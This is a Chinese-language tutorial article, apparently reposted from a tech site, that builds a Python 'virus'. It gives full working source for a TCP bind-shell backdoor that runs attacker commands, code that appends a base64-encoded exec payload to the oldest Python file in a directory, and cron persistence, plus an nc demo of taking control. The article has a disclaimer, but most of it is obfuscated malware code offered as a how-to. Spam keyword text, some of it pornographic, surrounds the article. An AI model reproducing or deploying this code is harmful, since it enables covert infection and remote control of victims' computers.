国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

來看看 Python 病毒長啥樣

開發 后端
今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。

[[438965]]

大家好,抱歉偷懶了幾天,最近的作息也逐漸規律起來,更新也會盡量在早上 7 點前發出。接下來的日子里,讓我們繼續玩轉 Python。

今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。注意:請不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進,但經過一些修改,它可以讓完全控制某人的計算機。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。

話不多說,讓我們開始吧。

1、建立通信

任何后門最重要的部分都是建立通信。現在,讓我們為后門訪問編寫一段代碼。通過 TCP 連接到靶機,我們使用套接字模塊監聽黑客的連接請求。在 socket 模塊中,有一個函數也稱為 socket,我們可以使用它來創建 TCP 或 UDP 套接字。使用 socket.socket 函數創建套接字時,我們需要提供兩個參數來指定我們要使用的 IP 版本和第 4 層協議。在這個 Python 腳本中,我們將傳入以下參數:socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM :指定 TCP 而不是 UDP。
  • socket.socket 函數返回一個對象,該對象由最終確定正在創建的套接字是偵聽套接字(服務器)還是連接套接字(客戶端)的方法組成。要創建偵聽套接字,需要使用以下方法:
  • bind > 將 IP 地址和端口綁定到網絡接口
  • listen > 指示我們的套接字開始監聽傳入的連接
  • accept > 接受傳入連接
  • recv > 從連接的客戶端接收數據
  • send > 向連接的客戶端發送數據

然而,最重要的方法是 recv 和 send。recv 方法會接收來自攻擊者的命令,使用 subproces.run 函數在受害者的系統上執行它們,然后將執行命令的標準輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:

  1. from socket import socket, AF_INET, SOCK_STREAM 
  2. from subprocess import run, PIPE 
  3. from os import _exit 
  4.  
  5.  
  6. def serve(): 
  7.     with socket(AF_INET, SOCK_STREAM) as soc: 
  8.         # [*] The obfuscated values are just the IP address and port to bind to 
  9.         soc.bind((ip, 端口)) 
  10.         soc.listen(5) 
  11.         while True
  12.             conn, _ = soc.accept() 
  13.             while True
  14.                 cmd = conn.recv(1024).decode("utf-8").strip() 
  15.                 cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE) 
  16.                 if cmd_output.returncode == 0: 
  17.                     conn.send(bytes(cmd_output.stdout)) 
  18.                 else
  19.                     continue 
  20.  
  21.  
  22. serve() 

2、感染目標 Python 文件

這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時間最早的 Python 腳本。這里是測試,因此不是感染所有 Python 文件,而僅感染修改時間最早的文件。感染一個 Python 文件對于控制靶機來說已經夠了。

  1. def MTRkYmNubWx(self): 
  2.     YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  3.     for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  4.         for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  5.             if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  6.                 continue 
  7.             eHhtbG1vZGF0 = stat(f).st_mtime 
  8.             ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  9.             if not self.Z2hhenh4ZGwK: 
  10.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  11.             elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  12.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  13.     self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 

上述代碼的部分變量使用了混淆,讓人不易看懂,其實很簡單,就是使用 os 模塊中定義的 walk 和 stat 函數來遍歷目錄文件并獲取它們的修改時間。獲得的每個文件的修改時間被轉換為 datetime.datetime 對象,以便我們可以使用 > < 和 == 等運算符輕松比較日期。在這個函數的最后,選定的目標 Python 文件名被傳遞到將后門服務器代碼注入其中的函數。

3、通過 crontab 任務來持久化

這個 Python 后門的最后一個函數使用 subprocess.run 函數來調用一個 Linux shell 命令,該命令將在當前用戶的 crontab 文件中創建一個條目。此條目指定計劃的 cronjob 應在每天 14:00 定時運行。添加 crontab 對應的 shell 命令如下:

  1. echo '00 14 * * * file_name | crontab - 

然后我們讓 Python 把上一步感染的文件添加到 crontab 中:

  1. def YWZhdGhjCg(self): 
  2.     if self.bGpqZ2hjen == "Linux":  
  3.         run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True

4、最終的完整代碼

  1. #!/usr/bin/env python3 
  2. from os.path import expanduser 
  3. from os import walk, stat 
  4. from sys import path 
  5. from glob import glob 
  6. from platform import system 
  7. from base64 import b64encode, b64decode 
  8. from subprocess import run, PIPE 
  9. from datetime import datetime 
  10.  
  11.  
  12. class eHhjemR5eXB: 
  13.     def __init__(self, cHlkYWNhZWFpa): 
  14.         self.cHlkYWNhZWFpa = cHlkYWNhZWFpa 
  15.         self.bGpqZ2hjen = system() 
  16.         self.aWFmYXRye = "0.0.0.0" 
  17.         self.ZmFsa2p0aGM = 0x401 
  18.         self.Z2hhenh4ZGwK = None 
  19.  
  20.     def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC): 
  21.         YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM" 
  22.         YWxmanRob += b"\nfrom subprocess import run, PIPE" 
  23.         YWxmanRob += b"\ndef serve():" 
  24.         YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:" 
  25.         YWxmanRob += bytes( 
  26.             f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))'"utf-8" 
  27.         ) 
  28.         YWxmanRob += b"\n\t\tsoc.listen(5)" 
  29.         YWxmanRob += b"\n\t\twhile True:" 
  30.         YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()" 
  31.         YWxmanRob += b"\n\t\t\twhile True:" 
  32.         YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()' 
  33.         YWxmanRob += ( 
  34.             b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)" 
  35.         ) 
  36.         YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:" 
  37.         YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))" 
  38.         YWxmanRob += b"\n\t\t\t\telse: continue" 
  39.         YWxmanRob += b"\nserve()" 
  40.  
  41.         YWxmanRob_base64 = b64encode(YWxmanRob) 
  42.         cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n" 
  43.         cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;' 
  44.         cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format( 
  45.             YWxmanRob_base64.decode() 
  46.         ) 
  47.  
  48.         with open(dGR6eGFteXBxC, "a"as f: 
  49.             f.write(cXBxZXJjYQ) 
  50.         self.ZmFsa2p0aGM += 1 
  51.  
  52.     def MTRkYmNubWx(self): 
  53.         YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  54.         for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  55.             for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  56.                 if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  57.                     continue 
  58.                 eHhtbG1vZGF0 = stat(f).st_mtime 
  59.                 ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  60.                 if not self.Z2hhenh4ZGwK: 
  61.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  62.                 elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  63.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  64.         self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 
  65.  
  66.     def YWZhdGhjCg(self): 
  67.         if self.bGpqZ2hjen == "Linux"
  68.             run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True
  69.  
  70.  
  71. if __name__ == "__main__"
  72.     # For traversing the user's home directory 
  73.     # aGdsZGFx = expanduser('~'
  74.     # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx) 
  75.     YmNjLGFka2x = eHhjemR5eXB("./test"
  76.     YmNjLGFka2x.MTRkYmNubWx() 
  77.     YmNjLGFka2x.YWZhdGhjCg() 

在靶機執行該代碼后,會感染 ./test 目錄中最早修改的文件(目標文件),會自動在目標文件的最后添加這兩行代碼:

  1. from subprocess import run 
  2. run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG 

是不是非常隱蔽?

5、訪問后門

為了測試,我們手動執行下感染的文件,而不是等待 crontab。

  1. ~ # crontab -l 
  2. 37 13 * * * /root/transferfile/transfile_interface.py 
  3. ~ # cd transferfile/ 
  4. ~/transferfile # python transfile_interface.py 
  5. ~/transferfile #  

程序正常結束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個 shell,在這里執行 ls, whoami 就是靶機的信息了:

這里演示的 localhost 即為靶機,真實場景下就是靶機的 ip 地址。現在靶機已經完全被控制了,而受害者完全不知情。

最后的話 

現在,你已經學習了如何使用 Python 編程語言創建持久性后門,學習了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創建 crontab 任務。如果要感染真實靶機,還要學會如何分發這個后門程序,這里不做探討。

 

責任編輯:武曉燕 來源: Python七號
相關推薦

2022-04-07 07:51:40

代碼結構設計

2013-12-03 10:33:51

微軟Windows 9

2018-02-25 23:12:16

2014-11-05 10:08:50

2022-10-10 11:32:01

數據分析技術

2020-01-09 10:03:41

AI 數據人工智能

2021-06-24 05:40:28

Windows 10操作系統微軟

2020-05-07 14:59:52

iOS 13.5蘋果更新

2015-09-11 09:59:04

阿里云數據中心

2011-09-29 10:13:54

IBM私有云云計算

2020-04-29 09:30:48

Google面試題工程師

2021-02-06 14:36:39

數字人民幣數字貨幣區塊鏈

2020-07-21 14:40:45

Spring Boot單元測試Java

2013-10-29 09:35:54

Windows 9概念圖

2020-04-16 12:04:09

5G基站4G

2020-11-02 07:59:40

高并發系統業務

2020-01-07 08:44:33

5G網絡4G

2025-02-24 09:56:13

交換機網絡通信

2021-06-24 05:39:16

Windows 1操作系統微軟
點贊
收藏

51CTO技術棧公眾號

2020中文字幕在线播放| 中文字幕精品在线视频| 欧美国产日本高清在线| 福利视频在线看| 久久裸体网站| 亚洲精品一区中文| 日韩手机在线观看视频| 福利一区二区三区视频在线观看| 欧洲vs亚洲vs国产| 色婷婷精品大视频在线蜜桃视频| 久久精品国产v日韩v亚洲| 国产一区二区三区av在线| 不卡av免费在线| 亚洲成人a级片| 色婷婷综合在线| 亚洲精品人成| 免费影视亚洲| 狂野欧美性猛交xxxx巴西| 91牛牛免费视频| 日韩欧乱色一区二区三区在线 | 丝袜亚洲欧美日韩综合| 夜夜爽99久久国产综合精品女不卡| 成年人视频在线观看免费| 日韩精彩视频在线观看| 亚洲日本成人女熟在线观看| 香蕉视频网站入口| 青草av.久久免费一区| 日韩成人性视频| 一区二区三区入口| 日韩精品亚洲一区二区三区免费| 久久夜色精品亚洲噜噜国产mv| 亚洲欧洲精品在线| √最新版天堂资源网在线| 成人在线免费观看91| 亚洲一区在线观看免费 | av在线理伦电影| 亚洲三级电影网站| 91免费电影网站| 四虎影院观看视频在线观看| 懂色中文一区二区在线播放| 高清视频欧美一级| 污视频网站在线观看| 国产日产欧产精品推荐色 | 免费成人av电影| 日本不卡视频在线| 久久久福利视频| 日韩在线成人| 久久亚洲综合国产精品99麻豆精品福利 | 久久久7777| 毛片在线播放a| 国产精品国产a级| 中国丰满人妻videoshd| 成人精品视频一区| 高清无码一区二区在线观看吞精| 国内精品福利| 亚洲一区二区少妇| 少妇精品导航| 91精品国产一区| 日本一区二区中文字幕| 国产精品久久久亚洲| 亚洲视频1区| 四季av一区二区| 欧美视频一二三| 精品中文在线| 一区二区在线不卡| 精品美女久久久久久免费| 日韩精品三区| 日本日本精品二区免费| 综合av第一页| 在线免费观看亚洲| 97netav| 国产偷v国产偷v亚洲高清| 国产福利在线| 18涩涩午夜精品.www| yiren22亚洲综合| www.成人av.com| 亚洲美女精品一区| 日本一区二区三区视频在线看| 亚洲国产日韩欧美| 欧美日韩在线视频首页| 999国产精品一区| 中文字幕在线视频日韩| 蜜桃视频在线观看播放| 欧美一二三四区在线| tube8在线hd| 日韩成人网免费视频| 欧美jizz18性欧美| 在线观看日韩av| 天天躁日日躁成人字幕aⅴ| 国产91|九色| 国产精品理伦片| 伊人久久综合一区二区| 欧美亚洲另类视频| 亚洲电影激情视频网站| h片在线观看视频免费| 成人三级在线| 26uuu国产一区二区三区| www.成人在线视频| a级免费在线观看| 日韩av中文字幕在线播放| 大白屁股一区二区视频| √8天堂资源地址中文在线| 日韩动漫在线观看| 欧美日韩高清一区二区不卡 | 99热一区二区| 国产精品一区二区电影| 成人视屏免费看| seseavlu视频在线| 国产精品一区免费观看| 欧美日韩一区高清| 24小时免费看片在线观看| 在线观看日本一区| 在线看不卡av| 国产乱子轮精品视频| 成人精品一区| 国产精品极品美女在线观看免费| 欧美日韩国产精品一区| 三级影片在线观看欧美日韩一区二区 | 久久久免费电影| 国产精品美女久久久久av爽李琼| crdy在线观看欧美| 色999日韩自偷自拍美女| 精品亚洲男同gayvideo网站| 欧美精选一区| 高清视频在线www色| 激情六月天婷婷| 欧美激情亚洲国产| 欧美高清激情brazzers| 成人中文字幕合集| 日韩av电影一区| 久久精品亚洲人成影院| 欧美在线一级| 成人在线网址| 国产精品久久久久久久免费大片| 亚洲人成亚洲人成在线观看| 一本大道久久精品懂色aⅴ| 久久99久久精品欧美| 电影一区二区三| 欧美性孕妇孕交| 亚洲欧洲成人| 日韩免费av一区二区三区| 国产亚洲欧洲高清一区| 成人性视频网站| 91精品久久久久久久| 日韩免费观看视频| 好看的日韩精品视频在线| 精品午夜一区二区| 成人性做爰片免费视频| 中文字幕欧美人妻精品一区| 欧洲成人一区二区| 99视频免费在线观看| 国产成人精品一区二区三区免费| 影音先锋在线播放| 日本中文一区二区三区| 亚洲国产精品自拍| 欧美日韩中文字幕在线| 色哟哟网站入口亚洲精品| 国产精品久久久久久久久| 国产一区二区不卡视频| 伊人手机在线| 日本少妇精品亚洲第一区| 美女在线视频一区| 日本电影一区二区| 欧美日韩成人一区二区| 欧美成人全部免费| 丁香婷婷久久久综合精品国产| 欧美洲成人男女午夜视频| 午夜视频免费在线观看| 免费看污污网站| 图片区亚洲欧美小说区| 免费欧美在线| 精品福利一区二区| 午夜精品久久久久久久99热 | 日本成人不卡| 久久嫩草精品久久久久| 久久精品人人爽| 亚洲精品一区二区毛豆| 日韩欧美亚洲v片| 久9re热视频这里只有精品| 亚洲成av人在线观看| 国产欧美精品一区二区三区-老狼| 国产在线播放观看| 中文在线天堂库| 91免费观看视频在线| 精品人伦一区二区色婷婷| 视频一区二区在线| 国产原创精品视频| 国产福利亚洲| 欧美三区在线观看| 国产一区二区三区色淫影院| 超碰超碰97| 精品理论电影| 精品视频免费看| 亚洲一二三区在线| 给我免费播放日韩视频| 日韩视频一二区| 最新亚洲伊人网| 你懂的视频一区二区| 在线视频国产日韩| 久久一区国产|